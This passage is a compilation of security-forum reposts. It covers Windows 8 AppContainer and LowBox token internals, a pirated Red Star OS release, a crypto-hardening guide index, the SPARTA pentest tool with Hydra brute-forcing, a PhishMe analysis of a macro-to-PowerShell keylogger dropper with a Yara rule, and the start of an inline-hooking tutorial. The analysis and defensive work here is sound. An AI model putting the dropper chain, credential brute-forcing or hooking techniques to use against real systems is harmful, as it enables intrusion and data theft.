obtained data. The Kernel32 module builds SID with the aid of Rtl (Runtime library) internal security functions (like RtlAllocateAndInitializeSid, RtlAddAce, RtlSetDaclSecurityDescriptor and so on…); we won’t provide here the details, we’ll only show the new SID. For further details, please contact me (andrea.allievi@saferbytes.it). The new SID is composed as follow: All Access control entries of “\Sessions\<ID>\BasedNamedObjects” Access allowed App Container SID ace – List, Add Object, Add Subdir, Delete, Read Control, Special authorization permissions Access allowed App Container SID ace, Inherit only ACE – Delete, Query state and data, Modify state, Special authorization permissions The code execution flows then it returns to the BasepCreateLowBoxObjectDirectories function. At this point the routine opens “\Sessions\<ID>\AppContainerNamedObjects” the directory object, and creates a subdirectory in it (exploiting NtCreateDirectoryObjectEx native API) called as the App Container SID and protected by the Security descriptorjust created. From now we will call the latter directory on the App Container base directory. The directory is also protected with a Low integrity level ACE placed in its SACL by BasepSetKernelIntegrityLabel routine. BasepSetKernelIntegrityLabel exploits again the Rtl* internal security functions to complete its job (in summary RtlAllocateAndInitializeSid builds the low level mandatory SID; an ACL is then built containing low level SID. RtlCreateSecurityDescriptor creates the Security descriptor that contains ACL. ACL indeed is tied to Security descriptor SACL with RtlSetSaclSecurityDescriptor routine; and finally NtSetSecurityObject sets target object security information). Snapshot of “News” Windows 8 Metro application App Container directories The process of the AppContainer directory object creation is repeated for “RPC Control” subdirectory object, starting from “\RPC Control” global directory… This time a lightly different low integrity Security descriptor (built again with BasepBuildPackageSecurityDescriptor routine) is applied from what we have seen above. BasepCreateLowBoxSymbolicLinks routine is subsequently called: its job is to create “Global”, “Local” and “Session” symbolic link in the App container base directory. It does so using NtCreateSymbolicLinkObject native API. The purpose of these links is the same as the non App Container counterparts. The execution flow returns to BasepCreateLowBoxObjectDirectories which proceeds in AppContainer named pipe creation. This pipe is used in order to communicate with the Broker service and with the system management functions. It has the following name schema: “Sessions\<ID>\AppContainerNamedObjects\ <AppContainerSID>“. The named pipe is protected by the Security descriptor of AppContainer base directory with 3 additional ACEs: All access allowed ACE granted to Administrators group Generic read and generic execute access granted to Everyone group Generic read and generic execute access granted to NT AUTHORITY\RESTRICTED At this point the BasepCreateLowBoxObjectDirectories routine job is complete. Execution control is returned to BasepCreateLowBox that now can actually create Lowbox token with the NtCreateLowBoxToken Kernel mode native API. When the token is successfully created by the kernel-mode routine, the target process is created as usual but attached to the Lowbox token. Every object and resource that the new process is going to use, it will be placed in AppContainer directory instead of regular locations. Kernel-Mode LowBox Token Creation deep analysis The Kernel mode lowbox token creation starts in NtCreateLowBoxToken exported native API. As a user mode counterpart, the API accepts an original token, and transform it in a Lowbox one. This function only does what is absolutely necessary to access directly the Token object. The rest of the work is done in user-mode, as we have already seen. Indeed the procedure assumes that the AppContainer base directory, the symbolic links, the capabilities and all the package data is already retrieved. Its function prototype is the following: [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums] 1 [/TD] [TD=class: crayon-code]NTSTATUS NtCreateLowBoxToken(HANDLE * phLowBoxToken, HANDLE hOrgToken, ACCESS_MASK DesiredAccess, OBJECT_ATTRIBUTES * pOa, PSID pAppContainerSid, DWORD capabilityCount, PSID_AND_ATTRIBUTES capabilities, DWORD lowBoxStructHandleCount, PLOWBOX_DATA lowBoxStruct); [/TD] [/TR] [/TABLE] Now we are going to describe how the function works. First of all, as usual, the parameters are checked and captured, and, whether the API is called form the user-mode, the memory is probed. The Current process security context is checked (primary or impersonating token is obtained with SeCaptureSubjectContext routine and analysed), and, if it all is ok, the original token kernel object is retrieved with ObReferenceObjectByHandle Kernel routine. The so called “capture process” checks specifically if App Container SID and each capability SID in array is valid (RtlIsPackageSid and RtlIsCapabilitySid verify the Sid size, the integrity, the package authority ID, and the sub-authority count). Now begins the Lowbox token creation: SepDuplicateToken, as the name implies, creates a copy of the original token; we will call this copy “Lowbox” token. To ? properly form Lowbox token, NtCreateLowBoxToken first setsthe token mandatory policy to “No write up” (modifying “MandatoryPolicy” and “ModifiedId” Kernel Token structure data members; see here for an extensive description of Mandatory labels and policies). Then it exploits SepLocateTokenIntegrity routine to proper localize and set the token integrity level (stored in Token object as Group SID) value to Low (Rid value: 0x1000 – SECURITY_MANDATORY_LOW_RID). The Privilege restriction takes place: all the token privileges are stripped except for SeChangeNotifyPrivilege and SeIncreaseWorkingSetPrivilege that later will be both disabled. SepSetTokenCapabilities procedure is called to attach each capability in array to Lowbox token: the Kernel token object has indeed three data member related to capabilities: “Capabilities”, “CapabilitiesCount” and “CapabilitiesHash”. All of these are updated by SepSetTokenCapabilities. Noteworthy is the hash value: RtlSidHashInitialize function initializes and updates the capabilities hash with the aim to hinder a possible external alteration and This makes the entire architecture quite secure. When SepSetTokenCapabilities ends its job, the execution control is transferred to SepSetTokenLowboxNumber routine. It has to generate a local per-session Lowbox Token number, and to store it, together with the App Container SID and a Reference counter, in a per-session hash-table, indexed by the global kernel symbol “g_SessionLowboxArray” (stores hashes that points to SEP_LOWBOX_NUMBER_ENTRY structure). This way Windows kernel can fast(?) the lookup Lowbox tokens and Package SIDs based only on an AppContainer Number and Session ID. When the Lowbox number is correctly generated, an associated SEP_LOWBOX_NUMBER_ENTRY structure is created; the Kernel token object “LowboxNumberEntry” data member is updated to point (?) to the brand-new structure. SepSetTokenLowboxHandles routine does quite the same work we have already seen for the token unique per-session number, but this time for the AppContainer directories and symbolic-links handles created by user-mode BasepCreateLowBoxObjectDirectories procedure, and delivered to the kernel API in lowBoxStruct parameter. A SEP_LOGON_SESSION_REFERENCES structure, that describes the current logon session, is obtained from the Lowbox token kernel object. In this structure is located the per-session Lowbox handles hash-table. This table indexes SEP_LOWBOX_HANDLES_ENTRY items. Each item stores an App Container SID, a reference counter and obviously the Lowbox handles table. SepGetLowBoxHandlesEntry adds and retrieves one item from hash-table, which SepSetTokenLowboxHandles compiles with a proper Lowbox data. This way, and with the same modality already seen, Windows kernel can fast(?)the lookup AppContainer handles table with only Package SID and session ID. Once it has finished, SepSetTokenLowboxHandles updates the Kernel token object “LowboxHandlesEntry” member with a pointer to brand-new SEP_LOWBOX_HANDLES_ENTRY data structure. LowBox Kernel token object state after SepSetTokenLowboxHandles The Kernel Lowbox token creation job is quite ended: SepSetTokenPackage copies and sets App container package SID to the relative Token kernel object “Package” data member. The Token object security context is modified: a full-access allowed ACE with AppContainer SID is added to the token default DACL. This way every object created under the Low-Box security context has by default all access granted by the App Container environment. Even the security descriptor that protects the Lowbox Token is modified: A full-access allowed ACE to AppContainer SID is added A TOKEN_QUERY access allowed ACE to built-in Administrator group is added The lowbox token is therefore fully accessible only by Owner, SYSTEM account (entity inherited) and AppContainer environment. Administrators group can query only the Lowbox token. The process is complete: ObInsertObjectEx validates and inserts Lowbox token into the Object manager namespace, and it returns an associated user-handle value (valid only for calling process). The Resources are freed and the execution control returns in user-mode. Sandboxed Environment – What does it mean? If you are here it means that you have understood the LowBox token creation and implementation. But there’s still a question that need to be answered: How is a Sandbox environment managed? What about the other OS functionalities? If the reader is curious he can try to understand Google Chrome Sandbox documentation, or maybe its source code. An application launched under a LowBox token acts in a completely different way respect to a normal program: First of all, the LowBox application can only read and write the directories, the files, and the objects that have an explicit ACE in their DACL, that allows the access to the AppContianer SID. Otherwise an ACCESS_DENIED error is returned (SeAccessCheck kernel routine implement this behaviour); even an Everyone access allowed ACE denies access to the object. It’s important to note that this assertion is totally true even for Windows registry. Our tests indeed have confirmed that no kind of Virtualization has been developed for AppContainer registry access Every operation system component, whether detects that calling thread is under the Lowbox security context, checks if the token has the necessary capabilities to execute that particular block of code. To identify properly an AppContainer security context and determine if the caller can require a particular System service, Windows OS executes the following pseudocode: [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums] 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 [/TD] [TD=class: crayon-code]// Get if token is an AppContainer ntStatus = ZwQueryInformationToken(hToken, TokenIsAppContainer, &bIsAppContainer, sizeof(BOOL), &retLength); if (!NT_SUCCESS(ntStatus)) return NtStatusToWin32Error(ntStatus) if (bIsAppContainer) { // Query LowBox token Capabilities PTOKEN_CAPABILITIES pTokCap = NULL; // Allocate enough buffer to contains Array (call ZwQueryInformationToken with a NULL // buffer to get exactly the needed size) pTokCap = (PTOKEN_CAPABILITIES)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, buffSize); retVal = TRUE; ntStatus = ZwQueryInformationToken(hToken, TokenCapabilities, (PVOID)pTokCap, buffSize, &retLength); if (NT_SUCCESS(ntStatus)) // Get if needed capability is present in Calling token capabilities array // PSID pNeededCapSid is needed capability retVal = IsCapabilityPresent(pNeededCapSid, pTokCap->Capabilities, pTokCap->CapabilityCount); if (!retVal || NT_ERROR(ntStatus)) return ERROR_ACCESS_DENIED; } // ...... // ... Main function body ... // ...... [/TD] [/TR] [/TABLE] We made some tests to spot the different behaviour showed by standard Windows Win32 API if called from an AppContainer security context. We will see now how to launch the standard Win32 application under an AppContainer. Our test done for INTERNET_CLIENT and PRIVATE_NETWORK_CLIENT_SERVER capabilities in network communications shows that this the capabilities checks code is implemented in network AFD kernel driver. Our Win32 application has tried to connect to the Internet and download a file, but it didn’t work without the associated enabled capabilities. The fact that the checks are implemented in Kernel mode makes the entire Sandbox much more powerful. Unfortunately, we did not identify where the Capability check of the following Metro application code snippet is performed: [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums] 1 2 3 [/TD] [TD=class: crayon-code]StorageFolder sf = KnownFolders.DocumentsLibrary; StorageFile file = await sf.CreateFileAsync("Test.txt”, CreationCollisionOption.OpenIfExists); string text = await Windows.Storage.FileIO.ReadTextAsync(file); [/TD] [/TR] [/TABLE] We have also tried to translate the above snippet in Win32 code, using the standard CreateFile API or some COM+ interfaces. The Results are the same: every attempt to open and read “Test.txt” file located in “User document” folder requires an explicit ACE attached to it, that allows access to AppContainer SID, even if DOCUMENTS_LIBRARY capability is enabled in the Lowbox token. Therefore, based on our quick analysis, it seems that this time Microsoft has implemented the Capability check code in mscorlib.dll Net framework main library. We don’t know why, maybe we didn’t take some aspect into consideration. By the way understanding how every capability is checked in various operating System components can be definitively a good Research project. If some reader would like to investigate on this, please contact me (andrea.allievi@saferbytes.it). Saferbytes Win32 Appcontainer applications We have seen that to properly create a Lowbox token and to launch a Win32 application under a sandboxed environment, we have to do many things: to add the proper security attributes to the token, to create and modify the Package registry keys and, most important, we have to inject our code in a system service due to the session 0 isolation. While analysing the CreateProcessInternalW internal function we found another way to launch an application under an AppContainer. The New STARTUPINFOEX structure can contain even an instance of PROC_THREAD_SECURITY_CAPABILITIES attribute. Therefore we have to define only an App Container SID and a list of capabilities that our AppContainer will have enabled (take a look at the documented SECURITY_CAPABILITIES structure). Unfortunately it is not so simple. TokenExtCreateEnvironment kernel32 routine, that is called immediately when BasepCreateLowBox returns, lookups App Container “moniker” from system registry with the aim to create a sandboxed environment. The AppContainerLookupMoniker retrieves the calling thread token User Sid, and together with the Lowbox package SID, opens the following registry key: HKEY_USERS\<User SID>\Software\Classes\Local Settings\Software\Microsoft\Windows\ CurrentVersion\AppContainer\Mappings\<AppContSid> Next it reads “Moniker” value. The moniker is the human readable App Container name. Moniker name is needed to create Sandboxed environment. Indeed TokenExtCreateEnvironment function creates the target application “Environment block” starting from system environment, but modifying the following three variables: “LocalAppData” is set to “<original LocalAppData>\Packages\<Moniker name>\AC” “Temp” and “Tmp”, are both set to “<original LocalAppData>\Packages\<Moniker name>\AC\Temp” We can easily deduce that the folder locate in “c:\Users\<UserName>\AppData\Local\Packages\<Moniker name>” will become the main working path for the sandboxed environment (this is not a necessary condition however); and the registry key “HKCU\Software\Classes\Local Settings\Software\Microsoft\Windows\ CurrentVersion\AppContainer\Storage\<AppContSid>” will became the main working registry key. These two directories need a proper ACE to be correctly accessible as we have seen before (there are no exception from sandbox model) So, in order to create an AppContainer sandbox for our Win32 application we acted as follows: Create “Moniker” registry key and append an Access allowed ACE with Lowbox package SID in its DACL Create sandbox main directory and registry key, and append a proper ACE as seen before Create and compile a proper SECURITY_CAPABILITIES structure containing App Container SID and all enabled capabilities Finally call CreateProcessAsUser Windows API At the end, if it all has been done in the right way, the results are good, as showed in the picture below: Our test application launched in a Sandbox environment The picture shows even what we have already analysed: PRIVATE_NETWORK_CLIENT_SERVER capability allows our application to communicate with an external server, whereas DOCUMENTS_LIBRARY seems to not work. Conclusions Our analysis and tests show that Microsoft engineers have made a great job in creating a Sandboxed environment for their Operating System new applications type. We have seen that it’s possible to create an OS based sandboxed environments even for standard Win32 programs. The main problem is that there no documentation about it. We are wondering why MS doesn’t release a proper documentation about the AppContainer and the Lowbox tokens. Furthermore we have concluded that in current OS implementation there are only few capabilities available. We hope that Microsoft could release a complete set of capabilities for each Operating system component in the next Windows 8.1 OS. I developed a simple application able to define an AppContainer package, to create a proper directories and objects, and to launch standard Win32 applications under an OS sandboxed environment. We will release this in a few weeks, basing on the readers’ requests. Snapshot of Saferbytes AppContainer launcher application For today that’s all folks! We will review others Windows 8 Security capabilities in next part of analysis. A quick note: according to Davide LeBlanc thoughts (thanks for the hint), we have to clarify that Microsoft has not been inspired by Google for its sandbox. Reading developer’s blog post series about Sandbox, we can understand that there were some ideas regarding a software Sandbox at least starting from year 2008. Sursa: Securing Microsoft Windows 8: AppContainers

http://torcache.net/torrent/2e85d200d81b74a57dd70dab66c81222df1cf715.torrent /\ _________________ ________/ \____________ ______________ | | _____ |slip| |\ / | |__| __ | | | ____| |___| |____| | \ /| __| ___| | ____| | | | _____| ____ | / \|__ | |__| /\ | | | | | | /___/ |/__ _\ | | \/ | | |___| |________|________| \ / |______|_____|_/\_|___| \/ Red Star OS 3.0 Desktop *retail* ```````````````````````````````` I gave you server, now here's desktop! Welcome, one and all, to best korea's Linux distro, version 3.0. Otherwise known as, "the one to prease the fappletards". Unlike server, this one doesn't need a serial, just mount in your VM and go boot from it acf53d2b50ecb1391044b343502becf5 redstar_desktop3.0_sign.iso 3eb7ca51105614f3716ceb7dad0ceda9ba0f906a redstar_desktop3.0_sign.iso 895ad0e01ae0d35a65e9ac42dd34d0a1d685d6dfa331ce5b4f24bbc753439be3 redstar_desktop3.0_sign.iso To use this, I guess you better praise juche ideals and post sincere comments about how much you love DPRK to /r/pyongyang. But don't ask about The Interview.. I've heard its a touchy subject there... Wanna ~~cyber~~ discuss this, and maybe just maybe shower me with praise? http://widget00.mibbit.com/?server=irc.ringoflightning.net&channel=%23ris&settings=fd3d000db0cd81335322e2449af35662&noServerNotices=true&autoConnect=true&nick=BestKorea????? or: irc.ringoflightning.net #RIS Or perhaps you'd like to shower me with dogecoins? DRFLRDccwLbdzgGPPADMDxZBXQxn5We3sb ~ slipstream / raylee - "pulling data out of DPRK's ass since 2014!" Sursa: Red Star 3.0 Desktop download! - Pastebin.com

@ Cei care "stiu XSS"

Applied Crypto Hardening Wolfgang Breyha, David Durvaux, Tobias Dussa, L. Aaron Kaplan, Florian Mendel, Christian Mock, Manuel Koschuch, Adi Kriegisch, Ulrich Pöschl, Ramin Sabet, Berg San, Ralf Schlatterbeck, Thomas Schreck, Alexander Würstlein, Aaron Zauner, Pepi Zawodsky (University of Vienna, CERT.be, KIT-CERT, CERT.at, A-SIT/IAIK, coretec.at, FH Campus Wien, VRVis, MilCERT Austria, A-Trust, Runtux.com, Friedrich-Alexander University Erlangen-Nuremberg, azet.org, maclemon.at) Contents 1. Introduction 7 1.1. Audience . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 1.2. Related publications . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 1.3. How to read this guide . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 1.4. Disclaimer and scope . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8 1.5. Methods . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10 2. Practical recommendations 11 2.1. Webservers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11 2.1.1. Apache . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11 2.1.2. lighttpd . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12 2.1.3. nginx . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14 2.1.4. MS IIS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15 2.2. SSH . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18 2.2.1. OpenSSH . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18 2.2.2. Cisco ASA . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20 2.2.3. Cisco IOS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21 2.3. Mail Servers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22 2.3.1. SMTP in general . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22 2.3.2. Dovecot . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23 2.3.3. cyrus-imapd . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24 2.3.4. Postfix . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25 2.3.5. Exim . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27 2.4. VPNs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31 2.4.1. IPsec . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31 2.4.2. Check Point FireWall-1 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 33 2.4.3. OpenVPN . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 36 2.4.4. PPTP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 38 2.4.5. Cisco ASA . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 38 2.4.6. Openswan . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 40 2.4.7. tinc . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 42 2.5. PGP/GPG - Pretty Good Privacy . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 43 2.6. IPMI, ILO and other lights out management solutions . . . . . . . . . . . . . . . . . . . 43 2.7. Instant Messaging Systems . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 44 2.7.1. General server configuration recommendations . . . . . . . . . . . . . . . . . . 44 2.7.2. Prosody . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 44 2.7.3. ejabberd . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 45 2.7.4. Chat privacy - Off-the-Record Messaging (OTR) . . . . . . . . . . . . . . . . . . 46 2.7.5. Charybdis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 46 2.7.6. SILC . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 47 2.8. Database Systems . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 47 2.8.1. Oracle . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 47 2.8.2. MySQL . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 47 2.8.3. DB2 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 48 2.8.4. PostgreSQL . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 49 2.9. Intercepting proxy solutions and reverse proxies . . . . . . . . . . . . . . . . . . . . . 50 2.9.1. Bluecoat . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 50 2.9.2. Pound . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 51 2.10.Kerberos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 52 2.10.1.Overview . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 52 2.10.2. Implementations . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 54 3. Theory 58 3.1. Overview . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 58 3.2. Cipher suites . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 58 3.2.1. Architectural overview . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 58 3.2.2. Forward Secrecy . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 60 3.2.3. Recommended cipher suites . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 60 3.2.4. Compatibility . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 62 3.3. Random Number Generators . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 63 3.3.1. When random number generators fail . . . . . . . . . . . . . . . . . . . . . . . 63 3.3.2. Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 64 3.3.3. Recommendations . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 64 3.4. Keylengths . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 65 3.5. A note on Elliptic Curve Cryptography . . . . . . . . . . . . . . . . . . . . . . . . . . . . 66 3.6. A note on SHA-1 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 67 3.7. A note on Diffie Hellman Key Exchanges . . . . . . . . . . . . . . . . . . . . . . . . . . 67 3.8. Public Key Infrastructures . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 68 3.8.1. Certificate Authorities . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 68 3.8.2. Hardening PKI . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 70 3.9. TLS and its support mechanisms . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 70 3.9.1. HTTP Strict Transport Security . . . . . . . . . . . . . . . . . . . . . . . . . . . . 70 A. Tools 76 A.1. SSL & TLS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 76 A.2. Key length . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 77 A.3. RNGs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 77 A.4. Guides . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 77 B. Links 78 C. Suggested Reading 79 D. Cipher Suite Name Cross-Reference 80 E. Further research 89 Index 94 Download: https://bettercrypto.org/static/applied-crypto-hardening.pdf

What is SPARTA? SPARTA is a python GUI application which simplifies network infrastructure penetration testing by aiding the penetration tester in the scanning and enumeration phase. It allows the tester to save time by having point-and-click access to his toolkit and by displaying all tool output in a convenient way. If little time is spent setting up commands and tools, more time can be spent focusing on analysing results. Features – Run nmap from SPARTA or import nmap XML output. – Transparent staged nmap: get results quickly and achieve thorough coverage. – Configurable context menu for each service. You can configure what to run on discovered services. Any tool that can be run from a terminal, can be run from SPARTA. – You can run any script or tool on a service across all the hosts in scope, just with a click of the mouse. – Define automated tasks for services (ie. Run nikto on every HTTP service, or sslscan on every ssl service). – Default credentials check for most common services. Of course, this can also be configured to run automatically. – Identify password reuse on the tested infrastructure. If any usernames/passwords are found by Hydra they are stored in internal wordlists which can then be used on other targets in the same network (breaking news: sysadmins reuse passwords). – Ability to mark hosts that you have already worked on so that you don’t waste time looking at them again. – Website screenshot taker so that you don’t waste time on less interesting web servers. Download Please clone the latest version of SPARTA from github: git clone https://github.com/secforce/sparta.git Alternatively, download the latest zip file here. Requirements It is recommended that Kali Linux is used as it already has most tools installed, however SPARTA would most likely also work in Debian based systems. Kali (preferred): apt-get install python-elixir Ubuntu 12.04+ (untested) apt-get install python-elixir python-qt4 Other than these, the following tools are required for SPARTA to have its minimum functionality: – nmap (for adding hosts) – hydra (for the brute tab) – cutycapt (for screenshots) In Kali Linux these can be installed with: apt-get install nmap hydra cutycapt In Kali, to ensure that you have all the tools used by SPARTA’s default configuration use: apt-get install ldap-utils rwho rsh-client x11-apps finger Documentation Full documentation coming soon… Sursa: SPARTA | Network Infrastructure Penetration Testing Tool

MS Word and Macros… Now With Social Engineering Malware December 15, 2014 By Ronnie Tokazowski On December 11, one of our employees reported a phishing email with PhishMe’s Reporter for Outlook that contained a particularly nasty Word document. The malicious payload included PowerShell, VBA, and batch code. Here’s a screenshot of the phishing email: Figure 1 — Screenshot of phishing email Once opened, the document’s contents are blurred, and it asks recipients to enable macros in order to view the document. Figure 2 — Document requesting that user enable macros Once enabled, the macro kicks off by executing a batch script via cmd.exe, which then executes visual basic script, which in turn triggers a PowerShell script. (Figure 3.) Figure 3 — Chain of execution for Word document The batch file is responsible for pinging 1.1.2.2 twice, changing the console code to the Cyrillic script (chcp 1251), and running the second file, adobeacd-update.vbs. (Figure 4.) Figure 4 — Batch file exectued by macro Next, the VBS file runs a powershell script with the command seen in Figure 5. Figure 5 — VBS file executing PowerShell script The powershell code is where the malware is finally downloaded. First, the file downloads “x.exe” from the domain highlighted, then saves it to the system as the filename “444.exe”. Figure 6 — Excerpt of PowerShell script Next, the script grabs the path name of the above scripts, saves them to a variable, sleeps for 15 seconds, and runs “444.exe”. Figure 7 — PowerShell excerpt that executes “444.exe” Once executed, the powershell script attempts to clean up by removing the other scripts used to execute it. Figure 8 — Attempted cleanup for the malware By looking in Wireshark, we can see the file being downloaded in Figure 9. Figure 9 — Malware being downloaded While the malware is packed, we can find some interesting things about the malware by analyzing the memory. First, by grepping before and after “[tab”, we can see that this malware has key logging capabilities, will more than likely beacon out to “tdglomeme[d]eu”, attempt to POST to “/log/index.php”, and feed the information back containing the string “0USER0”. (Figure 10.) Figure 10 — Memory dump of data being collected By looking at the pcap (Figure 11) and decoding the data (Figure 12) we can see that the data is presented exactly as seen in the pcap. Figure 11 — Data from pcap Figure 12 — Decoded data from pcap We can see that the malware is capable of copying contents from the clipboard as well as logging keystrokes. This data is then POSTed back to the attackers domain. For a Yara signature, the attackers included a “vbaProject.bin” file in the docx file. The following Yara rule can help to pick up variants that contain this: rule PM_docx_with_vba_bin { strings: $a1 = “PK” $a2 = “word/_rels/vbaProject.bin” condition: $a1 at 0 and $a2 } The word document has a very low detection rate (4/56) and can be found here: https://www.virustotal.com/en/file/a8ee9b6f3dfd02957d2f9f8abada269cbf7257a0d5745f2bae63c2a6892b83c5/analysis/ Sursa: MS Word and Macros... Now With Social Engineering Malware - PhishMe

[h=1]Inline Hooking for Programmers (Part 1: Introduction)[/h] A lot of my articles have been aimed at giving a high-level insight into malware for beginners, or those unfamiliar with specific concepts. Today I've decided to start a new series designed to familiarize people with malware internals on a programming level. This will not be a tutorial aimed towards people creating sophisticated malware, but security enthusiasts looking to better understand it. [h=2]Inline Hooking[/h] What is it Inline hooking is a method of intercepting calls to target functions,which is mainly used by antiviruses, sandboxes, and malware. The general idea is to redirect a function to our own, so that we can perform processing before and/or after the function does its; this could include: checking parameters, shimming, logging, spoofing returned data, and filtering calls. Rootkits tend to use hooks to modify data returned from system calls in order to hide their presence, whilst security software uses them to prevent/monitor potentially malicious operations. The hooks are placed by directly modifying code within the target function (inline modification), usually by overwriting the first few bytes with a jump; this allows execution to be redirected before the function does any processing. Most hooking engines use a 32-bit relative jump (opcode 0xE9), which takes up 5 bytes of space. Problems we face Might need to call the original function which we've overwritten with a jump. Race conditions. Calling convention mismatches. Infinite recursion. How it works We will be using a trampoline based hook, which allows us to intercept functions, whilst still being able to call the originals (without unhooking them first). this hook is made up of 3 parts: The Hook - A 5 byte relative jump which is written to the target function in order to hook it, the jump will jump from the hooked function to our code. The Proxy - This is our specified function (or code) which the hook placed on the target function will jump to. The Trampoline - Used to bypass the hook so we can call a hooked function normally. Why Trampoline Let's say we want to hook MessageBoxA, print out the parameters from within the proxy function, then display the message box: In order to display the message box, we need to call MessageBoxA (which redirects to our proxy function, which in turn calls MessageBoxA). Obviously calling MessageBoxA from within our proxy function will just cause infinite recursion and the program with eventually crash due to a stack overflow. We could simply unhook MessageBoxA from within the proxy function, call it, then re hooking it; but if multiple threads are calling MessageBoxA at the same time, this would cause a race condition and possibly crash the program. Instead, what we can do is store the first 5 bytes of MessageBoxA (these are overwritten by our hook), then when we need to call the non hooked MessageBoxA, we can execute the stored first 5 bytes, followed by a jump 5 bytes into MessageBoxA (directly after the hook). If you're having trouble visualizing that, I've made a call graph. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Top is a normal call to non-hooked MessageBoxA, bottom is a call using our trampoline to bypass the hook.[/TD] [/TR] [/TABLE] As long as the first 5 bytes aren't relative instructions, they can be executed anywhere (because it's very rare for functions to use relative instructions so early on, so we don't really need to handle this). A problem we do need to handle is if the first 5 bytes of the function don't make up n whole instructions). In the example, the first 5 bytes of the function make up exactly 3 instructions (mov edi, edi; push ebp; mov ebp, esp), however, if for example, the first instruction was 10 bytes long and we only stored 5 bytes: the trampoline would be trying to execute half an instruction and the program would explode. To get around this, we must use a disassemble to get the length of each instruction, so we can make sure only to copy whole instructions. The best case scenario is the first n instructions add up to exactly 5 bytes, the worst case is if the first instruction is 4 